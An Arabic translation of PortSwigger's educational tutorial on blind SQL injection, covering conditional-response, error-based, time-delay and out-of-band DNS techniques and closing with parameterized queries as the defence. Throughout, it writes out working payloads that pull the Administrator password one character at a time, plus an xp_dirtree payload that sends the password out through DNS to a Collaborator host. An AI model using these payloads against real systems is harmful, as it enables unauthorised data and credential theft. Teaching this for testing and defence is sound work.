حقن SQL الأعمى:

في هذا القسم، سوف نوضح ماهية حقن SQL الأعمى (Blind SQL injection)، ونشرح التقنيات المختلفة للعثور على ثغرات حقن SQL الأعمى واستغلالها. 

ما هو حقن SQL الأعمى؟ 

ينشأ حقن SQL الأعمى عندما يكون التطبيق عرضة لحقن SQL، لكن استجابات HTTP الخاصة به لا تحتوي على نتائج استعلام SQL ذي الصلة أو تفاصيل أي أخطاء في قاعدة البيانات. 

في حالة ثغرات حقن SQL الأعمى، فإن العديد من التقنيات مثل هجمات UNION غير فعالة، لأنها تعتمد على القدرة على رؤية نتائج الاستعلام المحقون ضمن استجابات التطبيق. لازال من الممكن استغلال حقن SQL الأعمى للوصول إلى البيانات غير المصرح بها، ولكن يجب استخدام تقنيات مختلفة 

استغلال حقن SQL الأعمى عن طريق إحداث استجابات شرطية: 

بافتراض تطبيق يستخدم تتبع ملفات تعريف الارتباط (cookies) لجمع تحليلات (analytics) حول الاستخدام. تتضمن الطلبات إلى التطبيق ترويسة ملف تعريف الارتباط (cookie header) مثل هذه: 

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 

عند معالجة طلب يحتوي على ملف تعريف ارتباط بخاصة TrackingId ، يحدد التطبيق ما إذا كان هذا مستخدماً معروفاً بواسطة استعلام SQL كهذا: 

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4

هذا الاستعلام عرضة لحقن SQL، ولكن لا يتم إرجاع نتائج الاستعلام إلى المستخدم. ومع ذلك، فإن التطبيق يتصرف بشكل مختلف تبعاً لكون الاستعلام يُرجع أية بيانات. فإذا كان يُرجع البيانات (نظرًا لوجود TrackingID معروف [تم تمييزه recognized])، فسيتم عرض رسالة “مرحباً بك مجدداً” (“welcome back”) داخل الصفحة. 

هذا السلوك يكفي للقدرة على استغلال ثغرة حقن SQL الأعمى واسترداد المعلومات، عن طريق إحداث استجابات مختلفة بشكل مشروط، وهذا يتوقف على الشرط المحقون. ولمعرفة كيفية عمل ذلك، افترض أنه تم إرسال طلبين يحتويان على قيم ملف تعريف الارتباط TrackingID التالية: 

xyz' UNION SELECT 'a' WHERE 1=1--  xyz' UNION SELECT 'a' WHERE 1=2-- 

ستؤدي أول هذه القيم إلى جعل الاستعلام يُرجِع نتائج (results)، لأن الشرط الذي تم حقنه or 1=1 صحيح (true)، وبالتالي سيتم عرض رسالة “مرحبًا بك مجدداً”. في حين أن القيمة الثانية سوف تتسبب في عدم إرجاع الاستعلام لأي نتائج، لأن الشرط المحقون غير صحيح (false)، وبالتالي فلن يتم عرض رسالة “مرحبًا بك مجدداً”. يسمح لنا ذلك بتحديد الإجابة لأي حالة تم حقنها بمفردها، وبالتالي استخراج البيانات قطعةً بعد أخرى (قطعة [أو قسم] واحدة في كل مرة one bit at a time). 

على سبيل المثال، افترض أن هناك جدولاً يدعى Users يحوي أعمدة Username و password ، ومستخدم يسمى Administrator. يمكننا تحديد كلمة المرور لهذا المستخدم منهجياً من خلال إرسال سلسلة من المدخلات (inputs) لاختبار كلمة المرور حرفاً واحداً في كل مرة (حرفاً بحرف). 

وللقيام بذلك، نبدأ بالإدخال التالي: 

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'-- 

يؤدي ذلك إلى إرجاع رسالة “مرحبًا بك مجدداً”، ما يشير إلى أن الشرط المحقون صحيح، وبالتالي فإن الحرف الأول من كلمة المرور أكبر من m. 

بعد ذلك، نرسل المدخلات التالية: 

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'-- 

هذا لا يُرجع رسالة “مرحباً بك مجدداً”، مشيراً إلى أن الشرط المحقون غير صحيح، وبالتالي فإن الحرف الأول من كلمة المرور ليس أكبر من t. 

وأخيراً، نرسل المدخلات التالية، والتي تُرجع رسالة “مرحبًا بك مجدداً”، مما يؤكد أن الحرف الأول لكلمة المرور هو s : 

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'-- 

يمكننا متابعة هذه العملية لتحديد كلمة المرور الكاملة للمستخدم Administrator بشكل منهجي. 

ملاحظة : تسمى الدالة SUBSTRING بـ SUBSTR في بعض أنواع قواعد البيانات. لمزيد من التفاصيل، راجع ورقة الغش (cheat sheet) في حقن SQL. 

إحداث استجابات شرطية عن طريق إثارة أخطاء SQL: 

في المثال السابق، افترض بدلاً من ذلك أن التطبيق ينفذ استعلام SQL نفسه، ولكنه لا يتصرف بشكل مختلف بناءً على ما إذا كان الاستعلام يُرجع أية بيانات. لن تنجح التقنية السابقة، لأن حقن شروط منطقية (من النوع Boolean) مختلفة لا يحدث فرقاً في استجابات التطبيق. 

في هذه الحالة، غالباً ما يكون من الممكن جعل التطبيق يقوم بإرجاع استجابات شرطية عن طريق إثارة أخطاء SQL بشكل مشروط، اعتماداً على شرط يتم حقنه. يتضمن ذلك تعديل الاستعلام بحيث يتسبب في حدوث خطأ في قاعدة البيانات إذا كان الشرط صحيحاً، إلا أنه لن يتسبب بذلك إذا كان الشرط خاطئاً. غالباً ما يتسبب خطأ غير معالَج (unhandled error) يتم إصداره (أو رميه thrown) بواسطة قاعدة البيانات في حدوث بعض الاختلاف في استجابة التطبيق (مثل رسالة خطأ)، مما يسمح لنا باستنتاج حقيقة (truth أو صحة) الشرط المحقون. 

لمعرفة كيفية عمل ذلك، افترض أنه تم إرسال طلبين يحتويان على قيم TrackingId التالية لملف تعريف الارتباط: 

xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--  xyz' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END-- 

تستخدم هذه المدخلات الكلمة الأساسية CASE لاختبار شرط وإرجاع تعبير مختلف اعتماداً على ما إذا كان التعبير صحيحاً. باستخدام الإدخال الأول، يتم تقييم تعبير الحالة إلى NULL ، والذي لا يسبب أي خطأ. باستخدام الإدخال الثاني، يتم تقييمه إلى 1/0، والذي يتسبب في خطأ القسمة على صفر. على افتراض أن الخطأ يسبب بعض الاختلاف في استجابة HTTP للتطبيق، يمكننا استخدام هذا الاختلاف لاستنتاج ما إذا كانت الحالة المحقونة صحيحة. 

باستخدام هذه التقنية، يمكننا استرداد البيانات بالطريقة الموصوفة سابقاً، من خلال الاختبار بشكل منهجي لحرف واحد في كل مرة: 

xyz' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--  

ملاحظة : هناك طرق مختلفة لإثارة الأخطاء الشرطية، والتقنيات المختلفة تعمل بشكل أفضل على أنواع مختلفة من قواعد البيانات. لمزيد من التفاصيل، راجع ورقة الغش (cheat sheet) في حقن  SQL

استغلال حقن SQL الأعمى عن طريق إحداث تأخيرات زمنية: 

في المثال السابق، افترض أن التطبيق الآن يمسك (catches بمعنى أنه لا يرمي [أو يصدر] throw أية أخطاء errors ، ويتم ذلك برمجياً باستخدام عبارة try catch) أخطاء قاعدة البيانات ويعالجها بأمان. وبالتالي فلن تؤدي إثارة خطأ في قاعدة البيانات عند تنفيذ استعلام SQL المحقون إلى حدوث أي اختلاف في استجابة التطبيق، لذلك لن تعمل التقنية السابقة لإحداث الأخطاء الشرطية. 

في هذه الحالة، غالباً ما يكون من الممكن استغلال ثغرة حقن SQL الأعمى عن طريق إحداث تأخير زمني بشكل مشروط، اعتماداً على شرط يتم حقنه. ونظراً لكون استعلامات SQL تتم معالجتها عموماً بشكل متزامن من خلال التطبيق، فإن تأخير تنفيذ استعلام SQL سيؤخر أيضاً استجابة HTTP. ما يسمح لنا ذلك باستنتاج حقيقة (truth أو تحقق) الشرط المحقون استناداً إلى الوقت المستغرق قبل استلام استجابة HTTP. 

تقنيات تشغيل التأخير الزمني متعلقة بشكل كبير بنوع قاعدة البيانات المستخدمة. في Microsoft SQL Server ، يمكن استخدام إدخال (input) مثل التالي لاختبار شرط ما وإحداث تأخير بناءً على صحة التعبير: 

'; IF (1=2) WAITFOR DELAY '0:0:10'--  '; IF (1=1) WAITFOR DELAY '0:0:10'-- 

لن يؤدي أول هذه المدخلات إلى تأخير، لأن الشرط 1=2 غير صحيح. بينما سيؤدي الإدخال الثاني إلى تأخير 10 ثوانٍ، لأن الشرط 1=1 صحيح. 

باستخدام هذه التقنية، يمكننا استرداد البيانات بالطريقة الموصوفة سابقاً، من خلال الاختبار منهجياً لحرف واحد في كل مرة: 

'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- 

ملاحظة : هناك طرق مختلفة لإحداث تأخير زمني في استعلامات SQL ، ويتم تطبيق تقنيات مختلفة على أنواع مختلفة من قواعد البيانات. لمزيد من التفاصيل، راجع ورقة الغش (cheat sheet) في حقن SQL. 

استغلال حقن SQL الأعمى باستخدام تقنيات خارج النطاق (OAST): 

الآن، لنفترض أن التطبيق ينفذ نفس استعلام SQL ، لكنه يفعل ذلك بشكل غير متزامن. يستمر التطبيق في معالجة طلب المستخدم في النسيب (thread أو خط لمعالجة البيانات حيث تتم معالجة البيانات فيه بشكل مستقل عن باقي خطوط المعالجة threads الأخرى) الأساسي (أو الأصل original) ، ويستخدم نيسباً آخر لتنفيذ استعلام SQL بواسطة ملف تعريف الارتباط الخاص بالتتبع (tracking cookie). لا يزال الاستعلام عرضة لحقن SQL ، ومع ذلك لن تعمل أي من الأساليب الموضحة حتى الآن : لا تعتمد استجابة التطبيق على ما إذا كان الاستعلام يُرجع أية بيانات أو إلى حدوث خطأ في قاعدة البيانات أو الوقت الذي يستغرقه تنفيذ الاستعلام. 

في هذه الحالة، يمكن غالباً استغلال ثغرة حقن SQL الأعمى عن طريق إحداث تبادلات شبكية خارج النطاق (out-of-band network interactions) إلى نظام تتحكم فيه. وكما في السابق، يمكن إحداث تلك التبادلات بشكل مشروط، اعتماداً على الشرط الذي يتم حقنه، لاستنتاج المعلومات قطعة واحدة في كل مرة. ولكن بقوة أكبر، حيث يمكن تهريب البيانات مباشرة ضمن تفاعل (أو تبادل) الشبكة نفسه. 

يمكن استخدام مجموعة متنوعة من بروتوكولات الشبكة لهذا الغرض، ولكن عادةً ما يكون DNS أكثر فعالية (خدمة اسم النطاق). وذلك لأن العديد من شبكات الإنتاج (production networks) تسمح بالخروج الحر لاستعلامات DNS ، لأنها ضرورية للتشغيل العادي لأنظمة الإنتاج (production systems). 

الطريقة الأسهل والأكثر موثوقية لاستخدام تقنيات خارج النطاق هي استخدام Burp Collaborator. وهو عبارة عن خادم يوفر أساليب تنفيذ (implementations أو تطبيقات) مخصصة لمختلف خدمات الشبكة (بما في ذلك DNS)، ويسمح لك باكتشاف متى تحدث تفاعلات (أو تبادلات) الشبكة نتيجة لإرسال حمولات فردية إلى تطبيق معرضة للاختراق. يتم توفير (support أو دعم ، ولكن هنا تأتي بمعنى أنه موجود ضمن حزمة Burp Suite Professional [الشرح من المترجم]) Burp Collaborator ضمن Burp Suite Professional  من دون الحاجة إلى ضبط إعدادات التكوين. 

تعتبر تقنيات إثارة استعلام DNS مرتبطة بشكل كبير بنوع قاعدة البيانات المستخدمة. ففي Microsoft SQL Server ، يمكن استخدام الإدخال التالي لإحداث بحث DNS في نطاق محدد: 

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- 

سيؤدي ذلك إلى قيام قاعدة البيانات بإجراء بحث عن النطاق التالي: 

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net  

يمكنك استخدام  Burp Suite’s Collaborator Client (زبون Burp Suite’s Collaborator) لإنشاء نطاق فرعي فريد و استطلاع خادم Collaborator للتأكد عند حدوث أي عمليات بحث DNS. 

بعد تأكيد طريقة لإطلاق تبادلات خارج النطاق (out-of-band interaction) ، يمكنك حينئذٍ استخدام قناة خارج النطاق (out-of-band channel) لتهريب البيانات من التطبيق المصاب. فمثلاً: 

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'[email protected]+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- 

يقرأ هذا الإدخال كلمة المرور الخاصة بالمستخدم Administrator ، ويضيف نطاق Collaborator فرعياً فريداً، ويقوم بإطلاق بحث DNS. سيؤدي هذا إلى بحث DNS كما يلي، مما يتيح لك عرض كلمة المرور التي تم التقاطها: 

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net 

ُعد تقنيات خارج النطاق (OAST) وسيلة قوية للغاية لاكتشاف واستغلال حقن SQL الأعمى، نظراً لاحتمال النجاح الكبير والقدرة على تهريب البيانات مباشرة ضمن قناة خارج النطاق (out-of-band channel). ولهذا السبب، غالباً ما تكون تقنيات OAST مفضلة حتى في الحالات التي تعمل فيها تقنيات أخرى للاستغلال الأعمى. 

ملاحظة: هناك طرق مختلفة لإثارة تفاعلات خارج النطاق، ويتم تطبيق تقنيات مختلفة على أنواع مختلفة من قواعد البيانات. لمزيد من التفاصيل، راجع ورقة الغش (cheat sheet) في حقن SQL

كيفية منع هجمات حقن SQL الأعمى؟ 

على الرغم من أن التقنيات اللازمة للعثور على ثغرات حقن SQL الأعمى واستغلالها مختلفة وأكثر تطوراً من حقن SQL المعتاد، إلا أن التدابير اللازمة لمنع حقن SQL هي نفسها بغض النظر عما إذا كانت الثغرة الأمنية عمياء أم لا. 

وكما هو الحال مع حقن SQL المعتاد، يمكن منع هجمات حقن SQL الأعمى من خلال الاستخدام الدقيق للاستعلامات ذات الوسطاء (parameterized queries) ، والتي تضمن أن دخل (input) المستخدم لا يمكن أن يتداخل مع بنية استعلام SQL المقصود. 

المصدر: https://portswigger.net/web-security/sql-injection/blind